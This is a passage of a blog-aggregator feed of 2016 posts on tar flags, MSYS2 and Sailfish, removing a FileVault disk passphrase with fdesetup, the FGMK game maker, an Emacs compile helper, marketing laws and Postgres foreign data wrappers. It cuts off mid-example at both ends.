&lt;p&gt;The last modifier I wanted to mention is &lt;code class="language-plaintext highlighter-rouge"&gt;k&lt;/code&gt;, which tells &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; not to override
existing files when e&lt;u&gt;x&lt;/u&gt;tracting an archive. That is, if you already have
a file called &lt;code class="language-plaintext highlighter-rouge"&gt;important.txt&lt;/code&gt; in your directory and you un-&lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; an archive
using the &lt;code class="language-plaintext highlighter-rouge"&gt;k&lt;/code&gt; modifier, you can be sure it won’t override your existing
&lt;code class="language-plaintext highlighter-rouge"&gt;important.txt&lt;/code&gt; file.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I hope this post helped you have a better understanding of &lt;code class="language-plaintext highlighter-rouge"&gt;tar&lt;/code&gt; commands, and
how they’re not &lt;em&gt;that&lt;/em&gt; complicated. I put a few (valid) commands below, just so
you can see if you understand what’s they’re doing:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;xf foo.tar
&lt;span class="nb"&gt;tar &lt;/span&gt;cvzf bar.tar a b c
&lt;span class="nb"&gt;tar &lt;/span&gt;tvf foo.tar important.txt
&lt;span class="nb"&gt;tar &lt;/span&gt;cz file1 file2 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; somefile
&lt;span class="nb"&gt;tar &lt;/span&gt;xzOf somefile
&lt;span class="nb"&gt;tar &lt;/span&gt;cJf hey.txz you andyou
&lt;span class="nb"&gt;tar &lt;/span&gt;xkjvf onemore.tbz2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Sat, 17 Sep 2016 19:02:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2016/09/17/do-you-speak-tar/</guid></item><item><title>Thoughts 1</title><link>https://blog.separateconcerns.com/2016-09-16-thoughts-1.html</link><description>&lt;section id="Thoughts"&gt;
&lt;h2&gt;Thoughts&lt;/h2&gt;
&lt;p&gt;I have not found the motivation to write here for a while, so I will be trying
something new. This is the first of a series of posts which will be composed of
a few smaller unrelated snippets, mostly things I would usually post in a
smaller form on Twitter. They will relate to anything I will have found
interesting recently. Some will be practical and some will just be reflections
about a given topic.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="MSYS2"&gt;
&lt;h2&gt;MSYS2&lt;/h2&gt;
&lt;p&gt;If, like me, you are mostly a Linux user but sometimes have to work on a
Windows machine, have a look at &lt;a href="https://msys2.github.io/"&gt;MSYS2&lt;/a&gt;. It allows
you to quickly get a decent environment set up, with Bash and a package manager,
(&lt;a href="https://www.archlinux.org/pacman/"&gt;pacman&lt;/a&gt;), which you can use to install
things like Git.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Sailfish"&gt;
&lt;h2&gt;Sailfish&lt;/h2&gt;
&lt;p&gt;I have had my &lt;a href="https://jolla.com/jollac/"&gt;Jolla C&lt;/a&gt; for two months now. I have
not spent as much time as I would like playing with it, but so far I am pretty
happy with Sailfish. Like &lt;a href="https://en.wikipedia.org/wiki/WebOS"&gt;WebOS&lt;/a&gt;, it
relies heavily on gestures, which makes most of the features of the phone
usable with the thumb of a single hand. There are not many applications in
the store so far but the default applications are good in general and most
Android applications work well, I could run &lt;a href="https://blog.separateconcerns.com/2019-02-15-goodbye-lima.html"&gt;Lima&lt;/a&gt; on it
without any problem for instance.&lt;/p&gt;
&lt;p&gt;From a programmer’s point of view, it is all I hoped for. I went from zero to
Hello World on the device in less than an hour. Coding happens in QT Creator
and the UI of the application is described with
&lt;a href="https://en.wikipedia.org/wiki/QML"&gt;QML&lt;/a&gt;. The SDK ships with an emulator that
runs in VirtualBox, but also with a second virtual machine which is used to
compile code, which means you don’t have to install a cross-compiler on your
local machine. Applications, which are technically RPM packages, can be deployed
to hardware devices via USB or SSH over WiFi.&lt;/p&gt;
&lt;p&gt;It also has to be noted that the native terminal application is very good,
much better than anything I saw on Android. A SSH client is included so it
can occasionally be used to log into a server.&lt;/p&gt;
&lt;p&gt;The main reason I have not made that device my main phone yet is that its
battery life is much worse than that of my Android phone, but hopefully that
is something that can be solved.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="The-fractal-dimension-of-software"&gt;
&lt;h2&gt;The fractal dimension of software&lt;/h2&gt;
&lt;p&gt;I stumbled upon &lt;a href="https://twitter.com/jtolds/status/758716505320075266"&gt;an insightful tweet&lt;/a&gt;
about software development time estimation. The larger the tasks we try to
estimate, the more wrong we will be. Maybe an estimate as a single number
representing time is not enough; maybe we should also try to figure out
the &lt;a href="https://en.wikipedia.org/wiki/Fractal_dimension"&gt;fractal dimension&lt;/a&gt;
of the job to be done.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Distributed-systems-are-a-UX-problem"&gt;
&lt;h2&gt;Distributed systems are a UX problem&lt;/h2&gt;
&lt;p&gt;Everyday I grow more convinced that
&lt;a href="http://bravenewgeek.com/distributed-systems-are-a-ux-problem/"&gt;this is true&lt;/a&gt;.
Not only of failure conditions, but even more so of things like reconciliation
strategies in case of causally concurrent events, for instance how to represent data with &lt;a href="https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type"&gt;CRDTs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It is a problem, because people doing distributed systems often either do not
want to do UX, do not have the competence to do it, or just do not have the
permission. We tend to be at the bottom of the stack, and some people think it
would be a disaster to let us work on anything user-facing. On the other hand,
most people actively doing UX do not understand or care for distributed systems
issues.&lt;/p&gt;
&lt;p&gt;The result of this is that, if we design without taking technical constraints
into account, we end up with systems that cannot be implemented without relying
on central authority. Add to that the fact that it is almost always much easier
to implement something in a centralized way, and you have one reason why the
Cloud is winning and distributed alternatives to popular services never seem
to take off.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Palm"&gt;
&lt;h2&gt;Palm&lt;/h2&gt;
&lt;p&gt;I stumbled upon two fantastic documents related to Palm recently. The first
is a series of blog posts called
&lt;a href="http://lowendmac.com/2016/a-history-of-palm-part-1-before-the-palmpilot/"&gt;A History of Palm&lt;/a&gt;.
Very interesting, even though I disagree with the conclusion of the fifth
post. What killed the Pre line at HP was not that WebOS did not take off; they
never let it a chance to. I have been using a Pre 3 for a long time (I had
pre-ordered it so I was one of the lucky few to have it in France) and it was
a fantastic device, extremely influential on future evolutions of both iOS and
Android (after all, the interface was the brainchild of
&lt;a href="https://en.wikipedia.org/wiki/Mat%C3%ADas_Duarte"&gt;Mathias Duarte&lt;/a&gt;). What ended
Palm’s legacy was the
&lt;a href="https://en.wikipedia.org/wiki/Mark_Hurd#Resignation"&gt;eviction of Mark Hurd&lt;/a&gt;
and his replacement with
&lt;a href="https://en.wikipedia.org/wiki/L%C3%A9o_Apotheker"&gt;Léo Apotheker&lt;/a&gt;,
who hates hardware. Probably one of the worst mistakes the HP board ever made.&lt;/p&gt;
&lt;p&gt;The second document is the
&lt;a href="https://archive.org/details/zen-of-palm"&gt;Zen of Palm&lt;/a&gt;,
a design guide for Palm OS from 2003 which is still pretty relevant today
in some ways.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Is-preemption-the-root-of-all-evil"&gt;
&lt;h2&gt;Is preemption the root of all evil?&lt;/h2&gt;
&lt;p&gt;Two decades years ago &lt;a href="https://en.wikipedia.org/wiki/Computer_multitasking#Cooperative_multitasking"&gt;cooperative scheduling&lt;/a&gt; was more frequent than
preemptive scheduling. Windows 3.1 was completely cooperatively scheduled,
which means that all applications had to yield to the system scheduler, or
they would block the whole system. In Mac OS 9, the threading API was
cooperative as well within a process, even though different applications would
be scheduled preemptively by the kernel.&lt;/p&gt;
&lt;p&gt;Modern OSs do not make much distinction between a thread and a process anymore,
threads are basically processes which share memory, and they are scheduled
preemptively. I have come to think that this design results in code of lower
quality, and which is harder to reason about. Of course, it is still possible
to use event loops or programming languages which do their own preemptive
scheduling (like Lua)…&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Fri, 16 Sep 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2016-09-16-thoughts-1.html</guid></item><item><title>Open Wound v2</title><link>https://mbutler.org/open-wound-v2/</link><description>https://github.com/mbutler/openwound A (re)writing tool that uses analyzed parts-of-speech for structure and word vectors to find similar replacement words. Openwound is a (re)writing tool named after the famous William S. Burroughs quote about cut-up writing being divination. &amp;#8220;When you cut into the present the future leaks out.&amp;#8221; This project started in 2002 with the publication of [&amp;#8230;]</description><author>mbutler</author><pubDate>Fri, 16 Sep 2016 16:04:03 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/open-wound-v2/</guid></item><item><title>Remove OS X Disk Password</title><link>https://caiustheory.com/remove-os-x-disk-password/</link><description>&lt;p&gt;I recently reinstalled a laptop and in doing so setup full disk encryption in a slightly strange fashion. The basic flow I followed was:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Boot into Recovery mode (hold ⌘-R at boot)&lt;/li&gt;
&lt;li&gt;Erase the internal HD as &lt;code&gt;HFS+ (Journaled, Encrypted)&lt;/code&gt; and set a disk password&lt;/li&gt;
&lt;li&gt;Install OS X onto the internal disk&lt;/li&gt;
&lt;li&gt;During setup, use Migration Assistant to copy clone containing previous install data from backup disk&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This worked great in the end, once I&amp;rsquo;d recompiling various utilities I had installed. (Downside of moving from one CPU arch to another - can&amp;rsquo;t just copy all compiled binaries over.)&lt;/p&gt;
&lt;p&gt;However, I failed at step 2 above and entered &amp;ldquo;password&amp;rdquo; as my disk password since it was only intended to be temporary. Usually OS X&amp;rsquo;s full disk encryption (FileVault 2) allows the machine users to unlock the disk, and not a standalone password. Due to the slightly odd way I setup the machine, I had the option of either using the disk password or my user account&amp;rsquo;s password.&lt;/p&gt;
&lt;p&gt;Having hunted around trying to find how to change or remove this disk password and leave only my users password, I finally stumbled across the magic incantations in an apple discussion thread asking &lt;a href="https://discussions.apple.com/thread/5105759?start=0&amp;amp;tstart=0"&gt;How to disable &amp;ldquo;Disk Password&amp;rdquo; on boot?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The magic incantations are as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;List all the passwords that can currently unlock the drive&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make sure there is a second password listed or removing the disk password will lock you out of the disk&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ sudo fdesetup list -extended
ESCROW UUID TYPE USER
28376DDE-B6E1-48BE-A06F-4212067581D6 Disk Passphrase User
4DBF8CEF-40F7-4F00-902F-A47AA643C656 OS User caius
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Note the UUID of the &amp;ldquo;Disk Passphrase&amp;rdquo; entry, and remove that from the list&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; sudo fdesetup remove -uuid 28376DDE-B6E1-48BE-A06F-4212067581D6
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;List the passwords again to make sure the Disk Passphrase entry was removed&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ sudo fdesetup list -extended
ESCROW UUID TYPE USER
4DBF8CEF-40F7-4F00-902F-A47AA643C656 OS User caius
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hey presto, only your user is left being able to unlock the disk.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Fri, 16 Sep 2016 13:27:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/remove-os-x-disk-password/</guid></item><item><title>Moments between the minutes</title><link>https://snevsky.com/blog/moments</link><description>I learned to play guitar in the moments between the minutes.</description><author>Serge Nevsky</author><pubDate>Fri, 16 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://snevsky.com/blog/moments</guid></item><item><title>GLaDOS-like sound pack for Taranis</title><link>https://allanrbo.blogspot.com/2016/09/glados-like-sound-pack-for-taranis.html</link><description>Here's a soundpack for the FrSky Taranis, based on the original, but run through Melodyne so it sounds like&amp;nbsp;GLaDOS from Portal:&amp;nbsp;&lt;a href="https://acoby.com/fpv/gladosStyleTaranisSounds.zip"&gt;https://acoby.com/fpv/gladosStyleTaranisSounds.zip&lt;/a&gt;</description><author>Allan's Blog</author><pubDate>Thu, 15 Sep 2016 09:29:13 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2016/09/glados-like-sound-pack-for-taranis.html</guid></item><item><title>FGMK is my first attempt at a game maker</title><link>https://ericonotes.blogspot.com/2016/09/fgmk-is-my-first-attempt-at-game-maker.html</link><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;i&gt;&lt;span style="text-align: left;"&gt;Since the post &lt;/span&gt;&lt;a href="http://ericonotes.blogspot.com.br/2014/08/a-tilemap-in-pyqt-for-bigger-game.html" style="text-align: left;"&gt;A tilemap in PyQt for a bigger game Project&lt;/a&gt;&lt;span style="text-align: left;"&gt; I have been working in something that at the time I wasn't quite sure of what it was. And now I think I am going somewhere. I present you my game maker, named &lt;/span&gt;&lt;a href="https://github.com/ericoporto/fgmk" style="text-align: left;"&gt;FGMK&lt;/a&gt;&lt;span style="text-align: left;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHhUslf_442Rmpdmaw0Q7WLKJCUktzZVpt6p1zeHDuPqLgGwZFcgga4mGHrub6ZyarHRcvt_EfNoux8QqlHI27DF9oLuT61ZRWnAXiaJxM1EGi4oF0j32YOYa8YXLZY6lhcoBrBKvX0yca/s1600/screenshot.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHhUslf_442Rmpdmaw0Q7WLKJCUktzZVpt6p1zeHDuPqLgGwZFcgga4mGHrub6ZyarHRcvt_EfNoux8QqlHI27DF9oLuT61ZRWnAXiaJxM1EGi4oF0j32YOYa8YXLZY6lhcoBrBKvX0yca/s400/screenshot.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
At the time of this writing, I am at version 0.5.3, I have a huge backlog of things I want to implement: scripting, plugins, monster design, hero design, skill design, scripted battles, ...&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
So what's this? Well, a long time ago, I participated in the 2012 edition of the Global Game Jam. At the time, &lt;a href="http://archive.globalgamejam.org/2012/cohesion"&gt;the game we made (with Unity) could be played in the browser&lt;/a&gt;, but required plugins. So the person that wanted to play your game had to install the Unity plugin. The Unity plugin was available only to Windows, so not only you had to convince the user to install it, he had to use the specific system to play the game.&amp;nbsp;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
At the same Global Game Jam, a guy made a game with HTML and Javascript. The game was great, and you only needed a browser to play the game. And no plugins. I was impressed. Small code, that worked well anywhere. And the code at the time was just there, no license. I talked to the single developer of the game, asked if I could take the code, look at it, and build something VERY similar. This guy is &lt;a href="https://github.com/luizgustavolino"&gt;Lino&lt;/a&gt; and the game he made was &lt;a href="http://archive.globalgamejam.org/2012/redo"&gt;Redo&lt;/a&gt;. He said "sure, code is fine, the assets I have to ask to not to use because I am using in a game I am publishing".&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
So at first I made a simple python visualizer for the maps in Redo (this was around August 2014). And then I decided, ok, time to make an engine I can freely script. The engine evolved, I decided to try to build a map editor... And after lots of commits, and lots of refactoring to have something that you could run in most operating systems (Win, OSX, Linux)... Now I have something I feel it's ok to be kind of proud.&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
So &lt;b&gt;FGMK&lt;/b&gt; was to be an acronym of Fan Game MaKer. It's also easy to type in the shell, because I typed this string a lot.&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
The Github page is &lt;a href="https://github.com/ericoporto/fgmk"&gt;github.com/ericoporto/fgmk&lt;/a&gt;&amp;nbsp;. If you have Python3 (and pip), you can install using:&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;pip3 install fgmk&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
And that's it. When I reach a nice 1.0.0 I will release real packages for the three main operating systems.&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
If you are only curious about the engine, the code is in &lt;a href="https://github.com/ericoporto/fgmkJsEngine"&gt;github.com/ericoporto/fgmkJsEngine&lt;/a&gt; and there is a &lt;a href="https://ericoporto.github.io/fgmkJsEngine/index.html"&gt;demo here&lt;/a&gt;. The demo should run in anything that has a keyboard or a touchscreen. And you only need a browser.&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Erico Notes</author><pubDate>Thu, 15 Sep 2016 05:23:21 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2016/09/fgmk-is-my-first-attempt-at-game-maker.html</guid></item><item><title>Fuzzy search Emacs compile history</title><link>https://xenodium.com/fuzzy-search-emacs-compile-history</link><description>&lt;p&gt;I wrote about &lt;a href="#search-bash-history-with-emacs-helm"&gt;searching bash history with Emacs Helm&lt;/a&gt; some time ago. Since then, I've learned about &lt;em&gt;completing-read&lt;/em&gt; to generically handle simple Emacs completions (very handy for supporting Helm, Ivy, and Ido completions).&lt;/p&gt;
&lt;p&gt;Here's a simple way to combine &lt;em&gt;completing-read&lt;/em&gt; and the &lt;em&gt;compile&lt;/em&gt; command to enable fuzzy searching your compile history:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/fuzzy-search-emacs-compile-history/fuzzy_compile.gif" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(defun ar/compile-completing ()
  &amp;quot;Compile with completing options.&amp;quot;
  (interactive)
  (let ((compile-command (completing-read &amp;quot;Compile command: &amp;quot; compile-history)))
    (compile compile-command)
    (add-to-list 'compile-history compile-command)))
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 15 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/fuzzy-search-emacs-compile-history</guid></item><item><title>Kindle 2</title><link>https://snevsky.com/blog/kindle</link><description>The Kindle 2 is the perfect product. I bought mine almost ten years ago. Today, that same exact unit goes with me everywhere I go. It isn’t annoying, it’s simple and it’s perfect.</description><author>Serge Nevsky</author><pubDate>Thu, 15 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://snevsky.com/blog/kindle</guid></item><item><title>So you want to change the world? Change how you communicate</title><link>https://yasha.solutions/so-you-want-to-change-the-world-change-how-you-communicate/</link><description>Communication is at the heart of human relationships.
Human relationships is what allow us to build a common future.
If you want to change this common future you need to learn how to communicate about the future you want and why it should matter to others humans.
If they know why it matters, they will be more encline to listen how to get there.
Then, you will be able to tell them what to do to make this a reality.</description><author>Yasha Solutions</author><pubDate>Thu, 15 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/so-you-want-to-change-the-world-change-how-you-communicate/</guid></item><item><title>September 2016 Projects</title><link>https://venam.net/blog/programming/2016/09/15/september-2016-projects.html</link><description>Hello fellow readers, In this post I’ll list some of the projects and experiments I worked on or finished since last time, or planing to work on in the next few weeks.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Wed, 14 Sep 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/programming/2016/09/15/september-2016-projects.html</guid></item><item><title>Primitive</title><link>https://rybakov.com/blog/primitive/</link><description>&lt;p&gt;&lt;a href="https://github.com/fogleman/primitive"&gt;Primitive&lt;/a&gt; is a command line tool to turn pictures into abstract images.&lt;/p&gt;
&lt;p&gt;I played around with it using the frames of this video of a dog in the russian forest:
&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="dogles" loop="true" poster="/video/dogles/dogles.jpg"&gt;
      &lt;source src="../video/dogles/dogles.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="doglesbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="doglespaused"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Primitive time!&lt;br /&gt;
&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="dogles_pr" loop="true" poster="/video/dogles_pr/dogles_pr.jpg"&gt;
      &lt;source src="../video/dogles_pr/dogles_pr.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="dogles_prbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="dogles_prpaused"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;How do we get here?&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 13 Sep 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/primitive/</guid></item><item><title>Russia is</title><link>https://rybakov.com/blog/russia_is/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="ruins3" loop="true" poster="/video/ruins3/ruins3.jpg"&gt;
      &lt;source src="../video/ruins3/ruins3.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="ruins3buffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="ruins3paused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;..a childhood spent playing in ruins.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 13 Sep 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/russia_is/</guid></item><item><title>To the girl sitting by the window</title><link>https://june.kim/to-the-girl-sitting-by-the-window/</link><author>june.kim</author><pubDate>Mon, 12 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/to-the-girl-sitting-by-the-window/</guid></item><item><title>The Immutable Laws of Marketing</title><link>https://www.craigpardey.com/post/2016-09-12-laws-of-marketing/</link><description>&lt;p&gt;This is a quick cheat sheet taken from a great little book called &lt;a href="https://www.amazon.ca/22-Immutable-Laws-Marketing-Violate/dp/0887306667" title="The 22 Immutable Laws of Marketing"&gt;&amp;ldquo;The 22 Immutable Laws of Marketing&amp;rdquo;&lt;/a&gt; by Al Ries &amp;amp; Jack Trout. I highly recommend this book for anyone interested in marketing &amp;hellip; even developers!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Law of Leadership&lt;/em&gt;&lt;br /&gt;
It&amp;rsquo;s better to be first than it is to be better.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Law of the Category&lt;/em&gt;&lt;br /&gt;
If you can&amp;rsquo;t be first in a category, set up a new category you can be first in.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Mon, 12 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-09-12-laws-of-marketing/</guid></item><item><title>Blog re-design 2016</title><link>https://www.databasesandlife.com/blog-redesign-2016/</link><description>&lt;p class="intro"&gt;Today I've released a new version of my blog and homepage. Unless you're reading this a long time in the future and this design has been superseded by a new design, you're looking at it :)&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s been a long time since I updated my blog design last. The previous design was a modification of the standard WordPress theme from January 2008. It wasn&amp;rsquo;t responsive, and was primarily based around the standard blog format of a &amp;ldquo;newest first&amp;rdquo; list of articles. What would a personal homepage need to look like in 2016?&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Mon, 12 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/blog-redesign-2016/</guid></item><item><title>A tour of Postgres' Foreign Data Wrappers</title><link>/2016/09/11/a-tour-of-fdws/</link><description>&lt;p&gt;SQL can be a powerful language for reporting. Whether you&amp;rsquo;re just exploring some data, or generating reports that show &lt;a href="/2014/02/26/Tracking-MoM-growth-in-SQL/"&gt;month over month revenue growth&lt;/a&gt; it&amp;rsquo;s the &lt;a href="https://www.amazon.com/SQL-Relational-Theory-Write-Accurate/dp/1491941170/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1473612603&amp;amp;sr=1-1&amp;amp;keywords=sql+relational&amp;amp;tag=mypred-20"&gt;lingua franca&lt;/a&gt; for data analysis. But, your data isn&amp;rsquo;t always in a SQL database, even then if you&amp;rsquo;re using Postgres you can still likely use SQL to analyze, query, even joing with that data. Foreign data wrappers have been around for years in Postgres, but are continuing to mature and be a great option for joining disparate systems.&lt;/p&gt;
&lt;h3 id="overview-of-foreign-data-wrappers"&gt;
&lt;div&gt;
Overview of foreign data wrappers
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;If you&amp;rsquo;re unfamiliar, foreign data wrappers, or FDW, allow you to connect from within Postgres to a remote system. Then you can query them from directly within Postgres. While there is an official Postgres FDW that ships with Postgres itself, that allows you to connect from one Postgres DB to another, there&amp;rsquo;s also a broad community of others.&lt;/p&gt;
&lt;p&gt;At the core of it Postgres provides certain APIs under the covers which each FDW extension can implement. This can include the ability to map SQL to whatever makes sense for a given system, push down various operators like where clauses, and as of Postgres 9.3 can even write data.&lt;/p&gt;
&lt;p&gt;To setup a FDW you first would install the extension, then provide the connection to the remote system, setup your schema/tables, and then you&amp;rsquo;re off to the races–or well ready to query. If you&amp;rsquo;ve got more than 2-3 databases or systems in your infrastructure, you&amp;rsquo;ll often benefit from FDWs as opposed to introducing a heavyweight ETL pipeline. Don&amp;rsquo;t mistake FDWs as the most performant method for joining data, but they are often the developer time efficient means of joining these data sets.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s look at just a few of the more popular and interesting ones.&lt;/p&gt;
&lt;h3 id="postgres-fdw"&gt;
&lt;div&gt;
Postgres FDW
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The Postgres one is the easiest to get started with. First you&amp;rsquo;ll just enable it with &lt;code&gt;CREATE EXTENSION&lt;/code&gt;, then you&amp;rsquo;ll setup your remote server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE EXTENSION postgres_fdw;
CREATE SERVER core_db
FOREIGN DATA WRAPPER postgres_fdw
OPTIONS (host 'foo', dbname 'core_db', port '5432');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then you&amp;rsquo;ll create the user that has access to that database:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE USER MAPPING FOR bi SERVER core OPTIONS (user 'bi', password 'secret');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, create your foreign table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE FOREIGN TABLE core_users (
id integer NOT NULL,
username varchar(255),
password varchar(255),
last_login timestamptz
)
SERVER core;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you&amp;rsquo;ll see a new table in the database you created this in called &lt;code&gt;core_users&lt;/code&gt;. You can query this table just like you&amp;rsquo;d expect:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT *
FROM core_users
WHERE last_login &amp;gt;= now() - '1 day'::interval;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also join against local tables, such as getting all the invoices for users that have logged in within the last month:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT *
FROM invoices, core_users
WHERE core_users.last_login &amp;gt;= now() - '1 month::interval'
AND invoices.user_id = core_users.id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hopefully this is all straight forward enough, but let&amp;rsquo;s also take a quick look at some of the other interesting ones:&lt;/p&gt;
&lt;h3 id="mysql-fdw"&gt;
&lt;div&gt;
MySQL FDW
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;For MySQL you&amp;rsquo;ll also have to &lt;a href="https://github.com/EnterpriseDB/mysql_fdw"&gt;download it&lt;/a&gt; and install it as well since it doesn&amp;rsquo;t ship directly with Postgres. This should be fairly straight forward:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ export PATH=/usr/local/pgsql/bin/:$PATH
$ export PATH=/usr/local/mysql/bin/:$PATH
